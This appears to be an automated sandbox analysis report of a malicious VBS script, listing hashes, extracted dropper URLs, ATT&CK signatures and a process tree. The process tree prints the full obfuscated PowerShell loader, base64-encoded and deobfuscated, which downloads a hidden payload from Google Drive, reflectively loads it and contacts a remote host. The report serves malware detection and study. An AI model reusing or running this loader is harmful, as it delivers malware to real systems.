Analysis

  • max time kernel
    121s
  • max time network
    122s
  • platform
    windows7_x64
  • resource
    win7-20240903-en
  • resource tags

    arch:x64arch:x86image:win7-20240903-enlocale:en-usos:windows7-x64system
  • submitted
    06-11-2024 02:16

General

  • Target

    270028765f570ebbb238ee6fb9460d1a674707016d97fc988f772195516ad3ff.vbs

  • Size

    140KB

  • MD5

    cbcf626e71d764c178148e4637e333af

  • SHA1

    c3e2615fea0051e63e817c7ad9cc17b59d6da776

  • SHA256

    270028765f570ebbb238ee6fb9460d1a674707016d97fc988f772195516ad3ff

  • SHA512

    da100c32335caf638e6ccdb0ec37c6e0c6596dfc98b09ef7c39c20911ddadc4576adb67e58187a008be6183bf7cfe89646558bb9abed10374d9e9c5902111fb3

  • SSDEEP

    3072:ky7jgt5pEGwprytIsaK18meFZjcrsmiYADap1Ff:KRQjcQmiMp1Ff

Score
10/10

Malware Config

Extracted

Language
ps1
Deobfuscated
URLs
ps1.dropper

https://drive.google.com/uc?export=download&id=1UyHqwrnXClKBJ3j63Ll1t2StVgGxbSt0

exe.dropper

https://drive.google.com/uc?export=download&id=1UyHqwrnXClKBJ3j63Ll1t2StVgGxbSt0

Signatures

  • Blocklisted process makes network request 2 IoCs
  • Command and Scripting Interpreter: PowerShell 1 TTPs 2 IoCs

    Run Powershell and hide display window.

  • Legitimate hosting services abused for malware hosting/C2 1 TTPs 2 IoCs
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Suspicious behavior: EnumeratesProcesses 2 IoCs
  • Suspicious use of AdjustPrivilegeToken 2 IoCs
  • Suspicious use of WriteProcessMemory 6 IoCs

Processes

  • C:\Windows\System32\WScript.exe
    "C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\270028765f570ebbb238ee6fb9460d1a674707016d97fc988f772195516ad3ff.vbs"
    1⤵
    • Suspicious use of WriteProcessMemory
    PID:628
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -command $Codigo = 'LiAoKGdWICcqbURyKicpLm5hbUVbMywxMSwyXS1KT2luJycpKCgnZHZ1aW1hJysnZ2VVcmwgPSBGZ2EnKydodHRwczovL2RyaXZlLmdvb2dsZS5jb20vdWM/ZXhwb3J0PWRvd25sb2FkJmlkPTFVeUhxd3JuWENsS0JKM2o2M0xsMXQyU3RWZ0d4YlN0MCBGZ2E7ZHZ1d2ViQ2xpZW4nKyd0ID0gTmV3LU9iamVjdCBTeXN0ZW0uTmV0LldlYkNsaWVudDtkdnVpbWFnZUJ5dGVzID0gZHZ1d2ViQ2xpZW50LkQnKydvd25sb2FkRGF0YShkdnVpbWFnZVVybCknKyc7JysnZHZ1JysnaW1hZ2VUZXh0ID0gW1N5c3RlbS5UZXh0LkVuY29kaW5nXTo6VVRGOC4nKydHZXRTJysndHJpbmcoZHZ1aW1hZ2VCeXRlJysncyk7ZHZ1c3RhcnRGbGFnID0gRmdhPDxCQVNFNjRfU1RBUlQnKyc+PkZnYTtkdnVlbmRGbGFnID0gRmdhPDxCQVNFNjRfRU5EPj5GZ2E7ZHZ1c3RhcnRJbmRleCA9IGR2dWltYWdlVGV4dC5JbmRleE9mKGR2dXN0YXJ0RmxhZyk7ZHZ1ZW5kSW5kZXggPSBkdnVpbWFnZVRleHQuSW5kZXhPZihkdnVlbmRGbGEnKydnKTtkdnVzdGFydEluZGV4IC1nZSAwIC1hbmQgZHZ1ZW5kSW5kZXggLWd0IGR2dXN0YXJ0SW5kZXg7ZHZ1c3RhcnRJbmRleCArPSBkdnVzdGFydEZsYWcuTCcrJ2VuZ3RoO2R2dWJhc2U2NExlbmd0aCA9IGR2dWVuZEluZGV4IC0gZHZ1c3RhcnRJbmRleDtkdnViYXNlNjRDb21tYW5kID0gZHZ1aW1hZ2VUZXh0LlN1YnN0cmluZyhkdnVzdGFydEluZGV4LCBkdnUnKydiYXNlNjRMZW5ndGgpO2R2dWJhc2U2NFJldmVyc2VkID0gLWpvaW4gKGR2dWJhc2U2NENvbW1hbmQuVG9DaGFyQXInKydyYXkoKSBiSFogRm9yRWFjaC1PYmplY3QgeyBkdnVfIH0pWy0xLi4tKGR2dWJhcycrJ2U2NENvbW1hbmQuTGVuZ3RoKV07ZHZ1Y29tbWFuZEJ5dCcrJ2VzID0gW1N5c3RlbS5Db252ZXJ0XTo6RnJvbUJhc2U2NFN0cmluZyhkdnViYXNlNjRSZXZlcnNlZCk7ZHZ1bG9hZGVkQXNzZScrJ21ibHkgPSBbU3lzdGVtLlJlZmxlY3Rpb24uQXNzZW1ibHldOjpMb2FkKGR2dWNvbW1hbmRCeXRlcyk7ZHZ1dmFpTWV0aG9kID0gW2RubGliLklPLkhvbWVdLkdldE1ldGhvZChGZ2FWQUlGZ2EpO2R2dXZhaU1ldGhvZC5JbnZva2UoZHZ1bnVsbCwgQChGZ2F0eHQub29vb2RlZXZ2di8zODEuMTQyLjk0MS41NC8vOnB0dGhGZ2EsIEZnYScrJ2Rlc2F0aXZhZG9GZ2EsIEZnYWRlc2F0aXZhZG9GZ2EsIEZnYWRlc2F0aXZhZG9GZ2EsIEZnYU1TQnVpbGRGZ2EsICcrJ0ZnYWRlc2F0aXZhZG9GZ2EsIEZnYWRlc2F0aScrJ3ZhZG9GZ2EsRmdhZGVzYXRpJysndmFkb0ZnYSxGJysnZycrJ2FkZXNhdGl2YScrJ2RvRmdhLEZnYWRlc2F0aXZhZG9GZ2EsRmdhZGVzYXRpdmFkb0ZnYSxGZ2FkZXNhdGl2YWRvRmdhLEZnYTFGZ2EsRmdhZGVzYXRpdmFkb0ZnYSkpOycpLnJlcGxBY0UoJ2JIWicsJ3wnKS5yZXBsQWNFKChbY2hhcl0xMDArW2NoYXJdMTE4K1tjaGFyXTExNyksJyQnKS5yZXBsQWNFKCdGZ2EnLFtzdHJpbmddW2NoYXJdMzkpICk=';$OWjuxd = [system.Text.encoding]::UTF8.GetString([system.Convert]::Frombase64String($codigo));powershell.exe -windowstyle hidden -executionpolicy bypass -NoProfile -command $OWjuxD
      2⤵
      • Command and Scripting Interpreter: PowerShell
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      • Suspicious use of WriteProcessMemory
      PID:2664
      • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -windowstyle hidden -executionpolicy bypass -NoProfile -command ". ((gV '*mDr*').namE[3,11,2]-JOin'')(('dvuima'+'geUrl = Fga'+'https://drive.google.com/uc?export=download&id=1UyHqwrnXClKBJ3j63Ll1t2StVgGxbSt0 Fga;dvuwebClien'+'t = New-Object System.Net.WebClient;dvuimageBytes = dvuwebClient.D'+'ownloadData(dvuimageUrl)'+';'+'dvu'+'imageText = [System.Text.Encoding]::UTF8.'+'GetS'+'tring(dvuimageByte'+'s);dvustartFlag = Fga<<BASE64_START'+'>>Fga;dvuendFlag = Fga<<BASE64_END>>Fga;dvustartIndex = dvuimageText.IndexOf(dvustartFlag);dvuendIndex = dvuimageText.IndexOf(dvuendFla'+'g);dvustartIndex -ge 0 -and dvuendIndex -gt dvustartIndex;dvustartIndex += dvustartFlag.L'+'ength;dvubase64Length = dvuendIndex - dvustartIndex;dvubase64Command = dvuimageText.Substring(dvustartIndex, dvu'+'base64Length);dvubase64Reversed = -join (dvubase64Command.ToCharAr'+'ray() bHZ ForEach-Object { dvu_ })[-1..-(dvubas'+'e64Command.Length)];dvucommandByt'+'es = [System.Convert]::FromBase64String(dvubase64Reversed);dvuloadedAsse'+'mbly = [System.Reflection.Assembly]::Load(dvucommandBytes);dvuvaiMethod = [dnlib.IO.Home].GetMethod(FgaVAIFga);dvuvaiMethod.Invoke(dvunull, @(Fgatxt.oooodeevvv/381.142.941.54//:ptthFga, Fga'+'desativadoFga, FgadesativadoFga, FgadesativadoFga, FgaMSBuildFga, '+'FgadesativadoFga, Fgadesati'+'vadoFga,Fgadesati'+'vadoFga,F'+'g'+'adesativa'+'doFga,FgadesativadoFga,FgadesativadoFga,FgadesativadoFga,Fga1Fga,FgadesativadoFga));').replAcE('bHZ','|').replAcE(([char]100+[char]118+[char]117),'$').replAcE('Fga',[string][char]39) )"
        3⤵
        • Blocklisted process makes network request
        • Command and Scripting Interpreter: PowerShell
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        PID:2688

Network

MITRE ATT&CK Enterprise v15

Replay Monitor

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Downloads

  • C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\590aee7bdd69b59b.customDestinations-ms

    Filesize

    7KB

    MD5

    1e2a161c0f561ed2203faf0dcf1395dc

    SHA1

    4b4811e31ed88ffc1480780e141e92ff481f21fc

    SHA256

    2395e394669cc1822814f53529ae3b68a09b7f438a053e7be85f5314bad667bc

    SHA512

    ed72dd9d520be773724fee439f6834215e4a8ad6cfaef3a93a5ecf1ad8513a87874370516867596f658ab938c18136fd008948fd9bbf32b7426677d5a3499133

  • memory/2664-8-0x000007FEF5DA0000-0x000007FEF673D000-memory.dmp

    Filesize

    9.6MB

  • memory/2664-7-0x000007FEF5DA0000-0x000007FEF673D000-memory.dmp

    Filesize

    9.6MB

  • memory/2664-6-0x0000000002960000-0x0000000002968000-memory.dmp

    Filesize

    32KB

  • memory/2664-9-0x000007FEF5DA0000-0x000007FEF673D000-memory.dmp

    Filesize

    9.6MB

  • memory/2664-10-0x000007FEF5DA0000-0x000007FEF673D000-memory.dmp

    Filesize

    9.6MB

  • memory/2664-4-0x000007FEF605E000-0x000007FEF605F000-memory.dmp

    Filesize

    4KB

  • memory/2664-11-0x000007FEF5DA0000-0x000007FEF673D000-memory.dmp

    Filesize

    9.6MB

  • memory/2664-5-0x000000001B460000-0x000000001B742000-memory.dmp

    Filesize

    2.9MB

  • memory/2664-17-0x000007FEF605E000-0x000007FEF605F000-memory.dmp

    Filesize

    4KB

  • memory/2664-18-0x000007FEF5DA0000-0x000007FEF673D000-memory.dmp

    Filesize

    9.6MB

  • memory/2664-22-0x000007FEF5DA0000-0x000007FEF673D000-memory.dmp

    Filesize

    9.6MB

  • memory/2688-21-0x000000001AEB0000-0x000000001B008000-memory.dmp

    Filesize

    1.3MB